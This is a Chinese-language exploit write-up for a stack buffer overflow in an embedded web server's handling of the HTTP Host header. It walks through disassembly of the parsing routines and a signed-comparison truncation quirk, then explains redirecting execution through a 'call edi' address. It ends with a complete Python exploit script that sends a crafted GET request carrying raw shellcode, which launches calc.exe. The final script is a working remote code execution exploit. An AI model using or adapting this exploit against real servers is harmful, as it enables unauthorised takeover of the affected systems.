该程序是一个内嵌的Web服务器,问题出现在处理HTTP报文Host字段时
处理过程调用了两个函数
.text:00401BFC push offset aHost ; "Host:"
.text:00401C01 mov [esi+624h], eax
.text:00401C07 call sub_402C70 <--定位Host字段内容并处理
.text:00401C0C push eax <--处理过的Host字段内容
.text:00401C0D mov [esi+62Ch], eax
.text:00401C13 call sub_401500 <--溢出的函数
其中sub_402C70的作用是在HTTP报文中定位Host字段的位置,并且会调用另外一个函数sub_402CF0
.text:00402CDA push esi <-- esi指向Host字段内容
.text:00402CDB call sub_402CF0
这个处理函数的作用是定位Host字段的结尾,并把结尾处修改为NULL。处理逻辑如下
v1 = str;
if ( *str > (char)0x20u )
{
do
v2 = (v1++)[1];
while ( v2 > (char)0x20u );
}
*v1 = 0;
需要注意的是其中的判断语句是有符号比较,所以当字符小于0x20或者大于0x80(负数)时,都会判断为结束,替换为NULL。
之后就将处理过的Host字段内容作为参数,调用sub_401500,它就是溢出的函数了。
进入这个函数后,先申请了0x28字节的空间
.text:00401500 sub esp, 28h
随后就将处理好的Host字段内容复制到这里,造成溢出。
上面说过,Host数据会被处理,因此在利用漏洞的时候,会有一些麻烦。
首先是jmp esp的跳板不能使用了,找不到4个字节都满足上述要求的跳转地址。
其次是如果要将shellcode复制到栈中的话,必须所有的字符都满足以上要求,否则就会导致后面的shellcode内容被截断。
观察一下retn时寄存器情况,可以发现edi,esi,ebp都指向原始HTTP报文存储地址附近。
其中edi指向HTTP报文GET 后面的内容,可以考虑将shellcode放置在这里,然后通过CALL/JMP EDI跳转过来,这个跳转地址也要满足上述的限制。
搜索内存,找到一个合适的地址0x00406172。
然后将shellcode填充到HTTP报文中GET部分。需要注意的是,GET后必须先至少跟一个可见字符,否则程序会直接返回400 BAD HTTP REQUEST。
利用代码如下
import socket
# run calc.exe
SHELLCODE = \
"\xFC\x68\xC9\xBC\xA6\x6B\x68\x63\x89\xD1\x4F\x8B" \
"\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x33\xD2" \
"\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C\x8B\x09" \
"\x8B\x51\x18\x8B\x52\x34\x80\xFA\x33\x74\x02\x8B" \
"\x09\x8B\x69\x08\xAD\x60\x8B\x45\x3C\x8B\x4C\x05" \
"\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B" \
"\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A\xC4\x74\x08" \
"\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C" \
"\x75\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B" \
"\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61" \
"\x3D\xC9\xBC\xA6\x6B\x75\xB5\x33\xDB\x33\xC0\x53" \
"\x40\x3C\x20\x75\xFA\x33\xDB\x53\xBB\x63\x61\x6C" \
"\x63\x53\x8B\xCC\x33\xC0\x54\x54\x50\x50\x50\x54" \
"\x50\x50\x51\x50\xFF\x57\xFC\x33\xDB\x53\xFF\x57" \
"\xF8"
HOST = "127.0.0.1"
# 0x406172 call edi
EIP = 'A'*40 + '\x72\x61\x40'
s = socket.socket()
s.connect((HOST, 80))
payload = "GET A"+SHELLCODE+" HTTP/1.1\r\n" \
"Host: "+EIP+"\r\n" \
"\r\n"
print '[+] Sending payload...'
s.send(payload)
print '[+] Done.'
s.close()